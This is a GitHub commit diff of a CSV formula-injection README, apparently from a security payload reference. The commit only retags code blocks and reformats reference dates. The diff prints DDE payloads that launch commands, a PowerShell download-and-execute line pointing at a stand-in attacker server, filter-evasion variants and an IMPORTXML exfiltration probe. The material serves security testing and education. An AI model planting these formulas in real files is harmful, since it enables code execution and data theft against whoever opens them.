Skip to content

Commit a79b1f5

Browse files
authored
Merge pull request #839 from liuwlx/codex/csv-injection-sanitize-references
docs: sanitize CSV injection examples and normalize references
2 parents 87c2862 + 06946ad commit a79b1f5

1 file changed

Lines changed: 12 additions & 12 deletions

File tree

CSV Injection/README.md

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@
1212

1313
CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
1414

15-
```powershell
15+
```text
1616
=
1717
+
1818
@@ -23,7 +23,7 @@ Basic exploits with **Dynamic Data Exchange**.
2323

2424
* Spawn a calc
2525

26-
```powershell
26+
```text
2727
DDE ("cmd";"/C calc";"!A0")A0
2828
@SUM(1+1)*cmd|' /C calc'!A0
2929
=2+5+cmd|' /C calc'!A0
@@ -32,28 +32,28 @@ Basic exploits with **Dynamic Data Exchange**.
3232
3333
* PowerShell download and execute
3434
35-
```powershell
35+
```text
3636
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
3737
```
3838
3939
* Prefix obfuscation and command chaining
4040
41-
```powershell
41+
```text
4242
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
4343
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
4444
= cmd|'/c calc.exe'!A
4545
```
4646
4747
* Using rundll32 instead of cmd
4848
49-
```powershell
49+
```text
5050
=rundll32|'URL.dll,OpenURL calc.exe'!A
5151
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
5252
```
5353
5454
* Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
5555
56-
```powershell
56+
```text
5757
= C m D | '/ c c al c . e x e ' ! A
5858
```
5959
@@ -75,18 +75,18 @@ Google Sheets allows some additional formulas that are able to fetch remote URLs
7575
7676
So one can test blind formula injection or a potential for data exfiltration with:
7777
78-
```c
79-
=IMPORTXML("http://burp.collaborator.net/csv", "//a/@href")
78+
```text
79+
=IMPORTXML("http://[REDACTED]/csv", "//a/@href")
8080
```
8181

8282
Note: an alert will warn the user a formula is trying to contact an external resource and ask for authorization.
8383

8484
## References
8585

86-
* [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://web.archive.org/web/20260211194330/https://owasp.org/www-community/attacks/CSV_Injection)
86+
* [CSV Excel Macro Injection - Timo Goosen, Albinowax - June 21, 2022](https://web.archive.org/web/20260211194330/https://owasp.org/www-community/attacks/CSV_Injection)
8787
* [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://web.archive.org/web/20251126193606/https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
88-
* [CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://web.archive.org/web/20221205154959/https://payatu.com/csv-injection-basic-to-exploit/)
89-
* [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://web.archive.org/web/20251020005639/https://blog.xpnsec.com/from-csv-to-meterpreter/)
90-
* [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](https://web.archive.org/web/20260216175809/https://georgemauer.net/2017/10/07/csv-injection.html)
88+
* [CSV Injection – A Guide To Protecting CSV Files - Akansha Kesharwani - November 30, 2017](https://web.archive.org/web/20221205154959/https://payatu.com/csv-injection-basic-to-exploit/)
89+
* [From CSV to Meterpreter - Adam Chester - November 5, 2015](https://web.archive.org/web/20251020005639/https://blog.xpnsec.com/from-csv-to-meterpreter/)
90+
* [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - October 7, 2017](https://web.archive.org/web/20260216175809/https://georgemauer.net/2017/10/07/csv-injection.html)
9191
* [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://web.archive.org/web/20220928031043/https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
9292
* [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://web.archive.org/web/20260115180627/https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)

0 commit comments

Comments
 (0)